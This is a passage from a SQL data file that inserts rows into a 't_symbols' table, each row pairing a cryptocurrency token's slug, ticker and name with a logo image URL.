'https://mifengcha.oss-cn-beijing.aliyuncs.com/temp/64c45531-6b6a-4f37-81a6-0d3cff6caf12___76-TJuSm_400x400.png', NULL); +INSERT INTO `t_symbols` VALUES (298, 'tnccoin', 'TNC', 'TNC Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tnccoin.png', NULL); +INSERT INTO `t_symbols` VALUES (299, 'cvault-finance', 'CORE', 'cVault.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cvault-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (300, 'airwire', 'WIRE', 'AirWire', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/airwire.jpg', NULL); +INSERT INTO `t_symbols` VALUES (301, 'coti', 'COTI', 'COTI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/593df91f663ae2ea67a25f1fe28f7b90.jpg', NULL); +INSERT INTO `t_symbols` VALUES (302, 'quarkchain', 'QKC', 'QuarkChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quarkchain.png', NULL); +INSERT INTO `t_symbols` VALUES (303, 'yaxis', 'YAXIS', 'yAxis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yaxis.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (304, 'gfxfun', 'GFX', 'gfxfun', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gfx.png', NULL); +INSERT INTO `t_symbols` VALUES (305, 'venus', 'XVS', 'Venus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/venus.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (306, 'verasity', 'VRA', 'Verasity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verasity.jpg', NULL); +INSERT INTO `t_symbols` VALUES (307, 'kyber-network', 'KNC', 'Kyber Network Crystal Legacy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kyber-network.png', NULL); +INSERT INTO `t_symbols` VALUES (308, 'covalent', 'CQT', 'Covalent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/covalent.jpg', NULL); +INSERT INTO `t_symbols` VALUES (309, 'dusk-network', 'DUSK', 'DUSK Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dusk-network.png', NULL); +INSERT INTO `t_symbols` VALUES (310, 'celsius', 'CEL', 'Celsius Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celsius.jpg', NULL); +INSERT INTO `t_symbols` VALUES (311, 'ultra', 'UOS', 'Ultra', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/1c7ea6b85e2c15aaba995984ec466d65.png', NULL); +INSERT INTO `t_symbols` VALUES (312, 'beta-finance', 'BETA', 'Beta Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beta-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (313, 'mcdex', 'MCB', 'MUX Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcdex.png', NULL); +INSERT INTO `t_symbols` VALUES (314, 'consensus', 'SEN', 'Consensus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/consensus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (315, 'spell-token', 'SPELL', 'Spell', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spell-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (316, 'lcx', 'LCX', 'LCX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lcx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (317, 'mobox', 'MBOX', 'Mobox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobox.png', NULL); +INSERT INTO `t_symbols` VALUES (318, 'susd', 'SUSD', 'sUSD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/susd.png', NULL); +INSERT INTO `t_symbols` VALUES (319, 'mainframe', 'MFT', 'Hifi Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mainframe.png', NULL); +INSERT INTO `t_symbols` VALUES (320, 'qualified-quality-block', 'QQB', 'QQB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qualified-quality-block.png', NULL); +INSERT INTO `t_symbols` VALUES (321, 'maple-finance', 'MPL', 'Maple', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maple-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (322, 'mercury-protocol', 'GMT', 'Mercury Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/mercuryprotocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (323, 'idextools', 'DEXT', 'DEXTools', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/idextools.png', NULL); +INSERT INTO `t_symbols` VALUES (324, 'sun-token-new', 'SUN', 'Sun Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sun-token-new.png', NULL); +INSERT INTO `t_symbols` VALUES (325, 'my-neighbor-alice', 'ALICE', 'MyNeighborAlice', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/my-neighbor-alice.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (326, 'bifrost', 'BFC', 'Bifrost', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bifrost.png', NULL); +INSERT INTO `t_symbols` VALUES (327, 'phala', 'PHA', 'Phala Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phala.png', NULL); +INSERT INTO `t_symbols` VALUES (328, 'coin98', 'C98', 'Coin98', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coin98.png', NULL); +INSERT INTO `t_symbols` VALUES (329, 'rialto', 'XRL', 'Rialto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rialto.png', NULL); +INSERT INTO `t_symbols` VALUES (330, 'creditcoin', 'CTC', 'Creditcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/creditcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (331, 'verus-coin', 'VRSC', 'Verus Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verus-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (332, 'ceek-vr', 'CEEK', 'CEEK Smart VR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ceek-vr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (333, 'serum', 'SRM', 'Serum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/serum.png', NULL); +INSERT INTO `t_symbols` VALUES (334, 'telos-blockchain-network', 'TLOS', 'Telos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/telos-blockchain-network.png', NULL); +INSERT INTO `t_symbols` VALUES (335, 'xyo-network', 'XYO', 'XYO Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xyo-network.png', NULL); +INSERT INTO `t_symbols` VALUES (336, 'truefi', 'TRU', 'TrueFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truefi.png', NULL); +INSERT INTO `t_symbols` VALUES (337, 'pocketnetwork', 'POKT', 'Pocket Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pocketnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (338, 'mobilecoin', 'MOB', 'MobileCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobilecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (339, 'bitmax-token', 'ASD', 'AscendEx Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitmax-token.png', NULL); +INSERT INTO `t_symbols` VALUES (340, 'avinoc', 'AVINOC', 'AVINOC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/avinoc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (341, 'boba-network', 'BOBA', 'Boba Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boba-network.png', NULL); +INSERT INTO `t_symbols` VALUES (342, 'bhex-token', 'BHT', 'BHEX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bhex-token.png', NULL); +INSERT INTO `t_symbols` VALUES (343, 'bytom', 'BTM', 'Bytom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bytom.png', NULL); +INSERT INTO `t_symbols` VALUES (344, 'moviebloc', 'MBL', 'MovieBloc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moviebloc.png', NULL); +INSERT INTO `t_symbols` VALUES (345, 'storm', 'STMX', 'StormX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storm.png', NULL); +INSERT INTO `t_symbols` VALUES (346, 'flexacoin', 'FXC', 'Flexacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flexacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (347, 'funfair', 'FUN', 'FUN Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/funfair.png', NULL); +INSERT INTO `t_symbols` VALUES (348, 'wazirx', 'WRX', 'WazirX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/wazirx.png', NULL); +INSERT INTO `t_symbols` VALUES (349, 'pirate-chain', 'ARRR', 'Pirate Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pirate-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (350, 'aergo', 'AERGO', 'Aergo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aergo.png', NULL); +INSERT INTO `t_symbols` VALUES (351, 'morpheus-network', 'MNW', 'Morpheus Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/morpheus-network.png', NULL); +INSERT INTO `t_symbols` VALUES (352, 'dodo', 'DODO', 'DODO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dodo.png', NULL); +INSERT INTO `t_symbols` VALUES (353, 'ark', 'ARK', 'Ark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ark.png', NULL); +INSERT INTO `t_symbols` VALUES (354, 'aurora-dao', 'IDEX', 'IDEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (355, 'usdk', 'USDK', 'USDK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdk.png', NULL); +INSERT INTO `t_symbols` VALUES (356, 'qcash', 'QC', 'Qcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qcash.png', NULL); +INSERT INTO `t_symbols` VALUES (357, 'hyperion', 'HYN', 'Hyperion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hyperion.png', NULL); +INSERT INTO `t_symbols` VALUES (358, 'uquid-coin', 'UQC', 'Uquid Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uquid-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (359, 'origin-protocol', 'OGN', 'Origin Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origin-protocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (360, 'bella-protocol', 'BEL', 'Bella Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bella-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (361, 'dash-diamond', 'DASHD', 'Dash Diamond', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dash-diamond.png', NULL); +INSERT INTO `t_symbols` VALUES (362, 'badger-dao', 'BADGER', 'Badger DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/badger-dao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (363, 'dune', 'DUN', 'Dune Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dune.png', NULL); +INSERT INTO `t_symbols` VALUES (364, 'aog', 'AOG', 'smARTOFGIVING', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aog.jpg', NULL); +INSERT INTO `t_symbols` VALUES (365, 'safe', 'SAFE', 'Safe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe.png', NULL); +INSERT INTO `t_symbols` VALUES (366, 'meta', 'META', 'Metadium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meta.png', NULL); +INSERT INTO `t_symbols` VALUES (367, 'aavegotchi', 'GHST', 'Aavegotchi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aavegotchi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (368, 'marlin', 'POND', 'Marlin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marlin.png', NULL); +INSERT INTO `t_symbols` VALUES (369, 'augur', 'REP', 'Augur', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/augur.png', NULL); +INSERT INTO `t_symbols` VALUES (370, 'electroneum', 'ETN', 'Electroneum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/electroneum.jpg', NULL); +INSERT INTO `t_symbols` VALUES (371, 'alien-worlds', 'TLM', 'Alien Worlds', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alien-worlds.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (372, 'rally-2', 'RLY', 'Rally', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rally-2.png', NULL); +INSERT INTO `t_symbols` VALUES (373, 'storj', 'STORJ', 'Storj', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storj.png', NULL); +INSERT INTO `t_symbols` VALUES (374, 'radio-caca', 'RACA', 'Radio Caca', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radio-caca.png', NULL); +INSERT INTO `t_symbols` VALUES (375, 'hxro', 'HXRO', 'Hxro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hxro.png', NULL); +INSERT INTO `t_symbols` VALUES (376, 'stox', 'STX', 'Stox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stox.png', NULL); +INSERT INTO `t_symbols` VALUES (377, 'selfkey', 'KEY', 'SelfKey', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/selfkey.png', NULL); +INSERT INTO `t_symbols` VALUES (378, 'ethos', 'VGX', 'Voyager VGX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethos.png', NULL); +INSERT INTO `t_symbols` VALUES (379, 'ethlend', 'LEND', 'Aave [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethlend.png', NULL); +INSERT INTO `t_symbols` VALUES (380, 'veritaseum', 'VERI', 'Veritaseum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veritaseum.png', NULL); +INSERT INTO `t_symbols` VALUES (381, 'reef-finance', 'REEF', 'Reef', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reef-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (382, 'wanchain', 'WAN', 'Wanchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wanchain.png', NULL); +INSERT INTO `t_symbols` VALUES (383, 'loom-network', 'LOOMOLD', 'Loom Network (OLD)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loom-network.png', NULL); +INSERT INTO `t_symbols` VALUES (384, 'meter', 'MTRG', 'Meter Governance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meter.png', NULL); +INSERT INTO `t_symbols` VALUES (385, 'adventure-gold', 'AGLD', 'Adventure Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adventure-gold.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (386, 'bitmart-token', 'BMX', 'BitMart Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitmart-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (387, 'perpetual-protocol', 'PERP', 'Perpetual Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/perpetual-protocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (388, 'keeperdao', 'ROOK', 'Rook', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/keeperdao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (389, 'looksrare', 'LOOKS', 'LooksRare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/looksrare.png', NULL); +INSERT INTO `t_symbols` VALUES (390, 'utrust', 'UTK', 'Utrust', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utrust.png', NULL); +INSERT INTO `t_symbols` VALUES (391, 'biswap', 'BSW', 'Biswap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biswap.png', NULL); +INSERT INTO `t_symbols` VALUES (392, 'deviantcoin', 'DEV', 'Deviant Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deviantcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (393, 'chainge', 'CHNG', 'Chainge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainge.png', NULL); +INSERT INTO `t_symbols` VALUES (394, 'crown', 'CRW', 'Crown', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crown.png', NULL); +INSERT INTO `t_symbols` VALUES (395, 'thundercore', 'TT', 'ThunderCore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thundercore.png', NULL); +INSERT INTO `t_symbols` VALUES (396, 'flamingo-finance', 'FLM', 'Flamingo Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flamingo-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (397, 'moonriver', 'MOVR', 'Moonriver', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonriver.png', NULL); +INSERT INTO `t_symbols` VALUES (398, 'mines-of-dalarnia', 'DAR', 'Mines of Dalarnia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mines-of-dalarnia.png', NULL); +INSERT INTO `t_symbols` VALUES (399, 'seedify-fund', 'SFUND', 'Seedify.fund', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seedify-fund.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (400, 'velas', 'VLX', 'Velas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/velas.png', NULL); +INSERT INTO `t_symbols` VALUES (401, 'sportx', 'SX', 'SX Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sportx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (402, 'irisnet', 'IRIS', 'IRISnet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/irisnet.png', NULL); +INSERT INTO `t_symbols` VALUES (403, 'automata', 'ATA', 'Automata', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/automata.png', NULL); +INSERT INTO `t_symbols` VALUES (404, 'raydium', 'RAY', 'Raydium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raydium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (405, 'earthcoin', 'EAC', 'Earthcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/earthcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (406, 'soarcoin', 'SOAR', 'Soarcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/soarcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (407, 'komodo', 'KMD', 'Komodo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/komodo.png', NULL); +INSERT INTO `t_symbols` VALUES (408, 'monaco', 'MCO', 'MCO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monaco.png', NULL); +INSERT INTO `t_symbols` VALUES (409, 'superfarm', 'SUPER', 'SuperVerse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/superfarm.png', NULL); +INSERT INTO `t_symbols` VALUES (410, 'bloktopia', 'BLOK', 'Bloktopia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bloktopia.png', NULL); +INSERT INTO `t_symbols` VALUES (411, 'tpt', 'TPT', 'TokenPocket Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tpt.png', NULL); +INSERT INTO `t_symbols` VALUES (412, 'yfii-finance', 'YFII', 'DFI.money', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yfii-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (413, 'deus-finance', 'DEUS', 'DEUS Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deus-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (414, 'mxc', 'MXC', 'MXC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mxc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (415, 'icc', 'ICC', 'ICC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icc.png', NULL); +INSERT INTO `t_symbols` VALUES (416, 'burst', 'BURST', 'Burst', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/burst.png', NULL); +INSERT INTO `t_symbols` VALUES (417, 'orchid', 'OXT', 'Orchid Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orchid.png', NULL); +INSERT INTO `t_symbols` VALUES (418, 'beefy-finance', 'BIFI', 'Beefy Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beefy-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (419, 'e-dinar-coin', 'EDR', 'E-Dinar Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-dinar-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (420, 'bec', 'BEC', 'Beauty Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bec.png', NULL); +INSERT INTO `t_symbols` VALUES (421, 'polkastarter', 'POLS', 'Polkastarter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkastarter.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (422, 'dashcash', 'DSC', 'Dash Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dashcash.png', NULL); +INSERT INTO `t_symbols` VALUES (423, 'cortex', 'CTXC', 'Cortex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cortex.png', NULL); +INSERT INTO `t_symbols` VALUES (424, 'yield-guild-games', 'YGG', 'Yield Guild Games', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yield-guild-games.png', NULL); +INSERT INTO `t_symbols` VALUES (425, 'carry', 'CRE', 'Carry', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carry.png', NULL); +INSERT INTO `t_symbols` VALUES (426, 'aion', 'AION', 'Aion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aion.png', NULL); +INSERT INTO `t_symbols` VALUES (427, 'elastos', 'ELA', 'Elastos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/elastos.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (428, 'phx', 'PHB', 'Phoenix Global', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/red-pulse.png', NULL); +INSERT INTO `t_symbols` VALUES (429, 'singularitydao', 'SDAO', 'SingularityDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singularitydao.png', NULL); +INSERT INTO `t_symbols` VALUES (430, 'monacoin', 'MONA', 'MonaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (431, 'groestlcoin', 'GRS', 'Groestlcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/groestlcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (432, 'klever', 'KLV', 'Klever', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/klever.png', NULL); +INSERT INTO `t_symbols` VALUES (433, 'mossland', 'MOC', 'Mossland', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mossland.jpg', NULL); +INSERT INTO `t_symbols` VALUES (434, 'measurable-data-token', 'MDT', 'Measurable Data Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/measurable-data-token.png', NULL); +INSERT INTO `t_symbols` VALUES (435, 'lto-network', 'LTO', 'LTO Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lto-network.png', NULL); +INSERT INTO `t_symbols` VALUES (436, 'kimchi-finance', 'KIMCHI', 'KIMCHI.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kimchi-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (437, 'reserve-protocol-token', 'RSV', 'Reserve', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reserve-protocol-token.png', NULL); +INSERT INTO `t_symbols` VALUES (438, 'acala-token', 'ACA', 'Acala', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acala-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (439, 'litentry', 'LIT', 'Litentry', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litentry.png', NULL); +INSERT INTO `t_symbols` VALUES (440, 'superrare', 'RARE', 'SuperRare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/superrare.png', NULL); +INSERT INTO `t_symbols` VALUES (441, 'firmachain', 'FCT', 'Firmachain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/firmachain.png', NULL); +INSERT INTO `t_symbols` VALUES (442, 'verge', 'XVG', 'Verge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verge.png', NULL); +INSERT INTO `t_symbols` VALUES (443, 'keep3rv1', 'KP3R', 'Keep3rV1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/keep3rv1.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (444, 'kishu-inu', 'KISHU', 'Kishu Inu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kishu-inu.png', NULL); +INSERT INTO `t_symbols` VALUES (445, 'auction', 'AUCTION', 'Bounce', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auction.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (446, 'barnbridge', 'BOND', 'BarnBridge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/barnbridge.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (447, 'quickswap', 'QUICK', 'QuickSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quickswap.png', NULL); +INSERT INTO `t_symbols` VALUES (448, 'chain', 'XCN', 'Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chain.png', NULL); +INSERT INTO `t_symbols` VALUES (449, 'h2o-dao', 'H2O', 'H2O Dao', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/h2o-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (450, 'steem-dollars', 'SBD', 'Steem Dollars', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/steem-dollars.png', NULL); +INSERT INTO `t_symbols` VALUES (451, 'quantum', 'QAU', 'Quantum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quantum.png', NULL); +INSERT INTO `t_symbols` VALUES (452, 'peony', 'PNY', 'Peony Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peony.jpg', NULL); +INSERT INTO `t_symbols` VALUES (453, 'gas', 'GAS', 'Gas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gas.png', NULL); +INSERT INTO `t_symbols` VALUES (454, 'tellor', 'TRB', 'Tellor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tellor.png', NULL); +INSERT INTO `t_symbols` VALUES (455, 'ethernity-chain', 'ERN', 'Ethernity Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethernity-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (456, 'alchemix', 'ALCX', 'Alchemix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alchemix.png', NULL); +INSERT INTO `t_symbols` VALUES (457, 'thought', 'THT', 'Thought', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thought.png', NULL); +INSERT INTO `t_symbols` VALUES (458, 'everdome', 'DOME', 'Everdome', 